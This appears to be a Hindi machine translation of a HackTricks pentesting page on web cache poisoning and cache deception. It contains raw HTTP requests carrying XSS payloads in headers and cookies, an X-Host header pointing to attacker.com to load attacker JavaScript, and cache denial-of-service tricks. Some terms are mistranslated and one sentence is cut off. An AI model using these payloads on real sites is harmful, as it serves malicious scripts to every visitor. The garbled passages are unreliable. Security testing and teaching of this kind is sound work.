26 KiB
कैश पॉइजनिंग और कैश धोखाधड़ी
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
- The PEASS Family की खोज करें, हमारा विशेष संग्रह NFTs
- आधिकारिक PEASS & HackTricks swag प्राप्त करें
- 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे Twitter 🐦@carlospolopm** का पालन करें**.
- अपने हैकिंग ट्रिक्स को hacktricks रेपो और hacktricks-cloud रेपो में पीआर जमा करके अपना योगदान दें।
Trickest का उपयोग करें और आसानी से वर्कफ़्लो बनाएं और स्वचालित करें जो दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित होते हैं।
आज ही पहुंच प्राप्त करें:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
अंतर
वेब कैश पॉइजनिंग और वेब कैश धोखाधड़ी के बीच क्या अंतर है?
- वेब कैश पॉइजनिंग में, हमलावर अनुप्रयोग को कैश में कुछ खतरनाक सामग्री संग्रहीत करने के कारण, और यह सामग्री कैश से अन्य अनुप्रयोग उपयोगकर्ताओं को सेवा कराई जाती है।
- वेब कैश धोखाधड़ी में, हमलावर अनुप्रयोग को कैश में किसी अन्य उपयोगकर्ता की कुछ संवेदनशील सामग्री संग्रहीत करने के कारण, और फिर हमलावर इस सामग्री को कैश से प्राप्त करता है।
कैश पॉइजनिंग
कैश को पॉइजन करने का उद्देश्य है कि ग्राहक अप्रत्याशित संसाधनों को आंशिक रूप से या हमलावर द्वारा नियंत्रित किए गए संसाधनों को लोड करें।
पॉइजन किए गए प्रतिक्रिया को केवल उन उपयोगकर्ताओं को सेवा किया जाएगा जो कैश पॉइजन होने पर प्रभावित पृष्ठ का दौरा करते हैं। इसके परिणामस्वरूप, प्रभाव अस्तित्वहीन से लेकर विशाल हो सकता है, यह उस पृष्ठ की लोकप्रियता पर निर्भर करेगा।
कैश पॉइजनिंग हमला करने के लिए, आपको पहले अविच्छेद्य इनपुट्स की पहचान करनी होगी (कैश अनुरोध पर प्रदर्शित होने की आवश्यकता नहीं होती है, लेकिन प्रतिस्पर्धी पृष्ठ को बदलते हैं), इस पैरामीटर का दुरुपयोग कैसे करें और प्रतिक्रिया को कैश करें।
खोज: HTTP हैडर्स की जांच करें
आमतौर पर, जब एक प्रतिक्रिया को कैश में संग्रहीत किया गया होता है, तो इसका हैडर इसकी सूचित करता है, आप इस पोस्ट में देख सकते हैं कि आपको किस हैडर्स पर ध्यान देना चाहिए: HTTP कैश हैडर्स।
खोज: कैशिंग 400 कोड
यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में संग्रहीत हो रही है, तो आपको एक बुरा हैडर के साथ अनुरोध भेजने की कोशिश करनी चाहिए, जिसे स्थिति कोड 400 के साथ प्रतिस्पर्धी पृष्ठ के साथ प्रतिसादित किया जाना चाहिए। फिर सामान्य रूप से अनुरोध तक पहुंचने की कोशिश करें और यदि प्रतिक्रिया 400 स्थिति कोड है, तो आप जानते हैं कि यह विकल्पशील है (और आप यहां तक कि आप एक डीओएस भी कर सकते हैं)।
एक खराबी संरचित हैडर केवल \:
हो सकती है।
_ध्यान दें कि कभी-कभी इस तरह के स्थिति कोड
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
बैक-एंड सर्वर से हानिकारक प्रतिक्रिया प्राप्त करें
पैरामीटर/हेडर की पहचान करें और देखें कि यह कैसे "सैनिटाइज़" किया जाता है और कहां से "प्रतिक्रिया" को प्रभावित कर रहा है। क्या आप इसे किसी भी तरीके से दुरुपयोग कर सकते हैं (एक्सएसएस का उपयोग करें या अपने द्वारा नियंत्रित जेएस कोड लोड करें? डीओएस का कार्य करें?...)
प्रतिक्रिया को कैश करें
जब आपने दुरुपयोग करने योग्य पृष्ठ की पहचान कर ली हो, जिस पैरामीटर/हेडर का उपयोग करना है और उसे कैसे दुरुपयोग करना है, तो आपको पृष्ठ को कैश करने की आवश्यकता होगी। कैश में प्राप्त करने के लिए कुछ समय लग सकता है, आपको कई सेकंड के लिए प्रयास करने की आवश्यकता हो सकती है।
प्रतिक्रिया में हेडर X-Cache
बहुत उपयोगी हो सकता है क्योंकि यह मान रख सकता है कि जब अनुरोध को कैश नहीं किया गया था तो मान miss
हो सकता है और जब यह कैश होता है तो मान hit
हो सकता है।
हेडर Cache-Control
भी दिलचस्प हो सकता है ताकि पता चले कि किसी संसाधन को कैश किया जा रहा है और अगली बार संसाधन को कैश किया जाएगा कब होगा: Cache-Control: public, max-age=1800
एक और दिलचस्प हेडर Vary
है। यह हेडर आमतौर पर उपयोग किया जाता है ताकि यह दिखा सके कि अतिरिक्त हेडर को कैश कुंजी का हिस्सा माना जाता है, भले ही वे सामान्यतः अनकी हों। इसलिए, यदि उपयोगकर्ता उस पीड़ित का User-Agent
जानता है, तो वह उस विशेष User-Agent
का उपयोग करके उस उपयोगकर्ता के लिए कैश को दुषित कर सकता है।
कैश के संबंध में एक और हेडर Age
है। इससे प्रोक्सी कैश में वस्तु कितने सेकंड से है, यह परिभाषित करता है।
एक अनुरोध को कैश करते समय, उपयोग करने वाले हेडर्स के साथ सतर्क रहें क्योंकि इनमें से कुछ हेडर्स को अप्रत्याशित रूप से कुंजीबद्ध रूप में उपयोग किया जा सकता है और पीड़ित को उसी हेडर का उपयोग करने की आवश्यकता होगी। हमेशा अलग-अलग ब्राउज़र्स के साथ एक कैश पॉइज़निंग का परीक्षण करें और देखें कि क्या यह काम कर रहा है।
उदाहरणों का शोषण
सबसे आसान उदाहरण
X-Forwarded-For
जैसा एक हेडर प्रतिक्रिया में असैनिटाइज़ कर रहा है
आप एक मूल XSS पेलोड भेज सकते हैं और कैश को दुषित कर सकते हैं ताकि पृष्ठ का उपयोग करने वाले हर कोई XSS हो जाए:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
नोट करें कि यह /en
के बजाय /en?region=uk
परिवेश में एक अनुरोध को पॉइजन करेगा
कुकी-हैंडलिंग कमजोरियों का शोषण करने के लिए वेब कैश पॉइजनिंग का उपयोग करना
कुकी एक पेज के प्रतिक्रिया पर भी प्रतिबिंबित हो सकती है। यदि आप इसे उदाहरण के लिए एक XSS को कारण बनाने के लिए दुरुपयोग कर सकते हैं, तो आप दुष्ट कैश प्रतिक्रिया लोड करने वाले कई क्लाइंट्स में XSS का शोषण कर सकते हैं।
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
ध्यान दें कि यदि दुर्भाग्यपूर्ण कुकी उपयोगकर्ताओं द्वारा बहुत उपयोग की जाती है, नियमित अनुरोध कैश को साफ कर देंगे।
वेब कैश पॉइजनिंग संरक्षण कमजोरियों का उपयोग करने के लिए एकाधिक हैडर्स का उपयोग करें
कभी-कभी आपको कैश का दुरुपयोग करने के लिए कई अनकी इनपुट का दुरुपयोग करने की आवश्यकता होगी। उदाहरण के लिए, यदि आप X-Forwarded-Host
को अपने द्वारा नियंत्रित डोमेन पर सेट करते हैं और X-Forwarded-Scheme
को http
पर सेट करते हैं, तो आपको एक खुला पुनर्निर्देशन मिल सकता है। अगर सर्वर सभी HTTP अनुरोधों को HTTPS पर फ़ॉरवर्ड कर रहा है और पुनर्निर्देश के लिए डोमेन नाम के रूप में हेडर X-Forwarded-Scheme
का उपयोग कर रहा है। आप पुनर्निर्देश के लिए पृष्ठ को कहां दिखाना चाहते हैं, उसे आप नियंत्रित कर सकते हैं।
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
सीमित Vary
हैडर का उपयोग करके शोषण करना
यदि आपने पाया है कि X-Host
हैडर का उपयोग एक JS संसाधन लोड करने के लिए डोमेन नाम के रूप में किया जा रहा है, लेकिन प्रतिक्रिया में Vary
हैडर User-Agent
को दर्शा रहा है। तो, आपको पीड़ित का User-Agent निकालने और उस उपयोगकर्ता एजेंट का उपयोग करके कैश को दुषित करने का एक तरीका ढूंढ़ना होगा:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
HTTP रिक्ति द्वारा कैश धोखाधड़ी का उपयोग करके HTTP अनुरोध अपराध का उपयोग करके एक्सप्लॉइट करना
यहां सीखें कि HTTP अनुरोध अपराध का उपयोग करके कैश धोखाधड़ी हमले को कैसे करें।
वेब कैश धोखाधड़ी के लिए स्वचालित परीक्षण
वेब कैश संवर्धन स्कैनर का उपयोग वेब कैश धोखाधड़ी के लिए स्वचालित रूप से परीक्षण करने के लिए किया जा सकता है। इसमें कई विभिन्न तकनीकों का समर्थन होता है और यह अत्यंत अनुकूलनयोग्य है।
उदाहरण उपयोग: wcvs -u example.com
Trickest का उपयोग करें और आसानी से विश्व के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित कार्यप्रवाह बनाएं और स्वचालित करें।
आज ही पहुंच प्राप्त करें:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
भ्रष्ट उदाहरण
अपाचे ट्रैफिक सर्वर (CVE-2021-27577)
ATS ने URL में शार्टकट को छोड़कर फ्रेगमेंट को आगे भेजा और केवल होस्ट, पथ और क्वेरी (फ्रेगमेंट को अनदेखा करते हुए) का कैश कुंजी उत्पन्न की। इसलिए अनुरोध /#/../?r=javascript:alert(1)
को बैकएंड को /#/../?r=javascript:alert(1)
के रूप में भेजा गया था और कैश कुंजी में इसमें पेलोड नहीं था, केवल होस्ट, पथ और क्वेरी थी।
GitHub CP-DoS
कंटेंट-टाइप हैडर में एक बुरा मान भेजने से 405 कैश किया गया प्रतिक्रिया उत्पन्न हुई। कैश कुंजी में कुकी शामिल थी, इसलिए केवल अनधिकृत उपयोगकर्ताओं पर हमला करना संभव था।
GitLab + GCP CP-DoS
GitLab स्टेटिक सामग्री संग्रहित करने के लिए GCP बकेट का उपयोग करता है। GCP Buckets को हेडर x-http-method-override
का समर्थन है। इसलिए हेडर x-http-method-override: HEAD
भेजने और कैश को खाली प्रतिक्रिया बॉडी लौटाने के लिए कैश को धोखा देना संभव था। यह उपयोग भी विधि PURGE
का समर्थन कर सकता है।
रैक मिडडलवेयर (रूबी ऑन रेल्स)
रूबी ऑन रेल्स एप्लिकेशन अक्सर रैक मिडडलवेयर के साथ डिप्लॉय किया जाता है। नीचे दिए गए रैक कोड में x-forwarded-scheme
मान का मूल्य लेता है और इसे अनुरोध की योजना के रूप में उपयोग करता है।
x-forwarded-scheme: http
हेडर भेजने पर एक 301 पुनर्निर्देशटो एक ही स्थान पर होगा जिससे उस संसाधन पर एक डीओएस होगा जैसा कि इस उदाहरण में है:
एप्लिकेशन शीर्षक X-forwarded-host
का समर्थन भी कर सकता है और उपयोगकर्ता को उस मेजबान पर पुनर्निर्देशित कर सकता है, जिससे हमलावर के सर्वर से जावास्क्रिप्ट फ़ाइलों को लोड करने की संभावना होती है:
403 और स्टोरेज बकेट
पहले, Cloudflare को 403 प्रतिक्रियाओं को कैश करने का उपयोग किया जाता था, इसलिए बुरी अधिकृति हेडर्स भेजने पर S3 या Azure Storage Blobs तक पहुंच करने की कोशिश करने पर 403 लौटाया जाता था जो कैश हो जाता था। क्लाउडफ्लेयर अब 403 प्रत
संदर्भ
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
Trickest का उपयोग करें और आसानी से वर्कफ़्लो बनाएं और संचालित करें, जो दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित होते हैं।
आज ही पहुंच प्राप्त करें:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप चाहते हैं कि आपकी कंपनी HackTricks में विज्ञापित की जाए? या क्या आप PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं? सदस्यता योजनाएं की जांच करें!
- The PEASS Family की खोज करें, हमारा विशेष NFT संग्रह
- आधिकारिक PEASS & HackTricks swag प्राप्त करें
- 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे Twitter 🐦@carlospolopm** का** अनुसरण करें।**
- अपने हैकिंग ट्रिक्स साझा करें, PRs के माध्यम से hacktricks repo और hacktricks-cloud repo को सबमिट करके।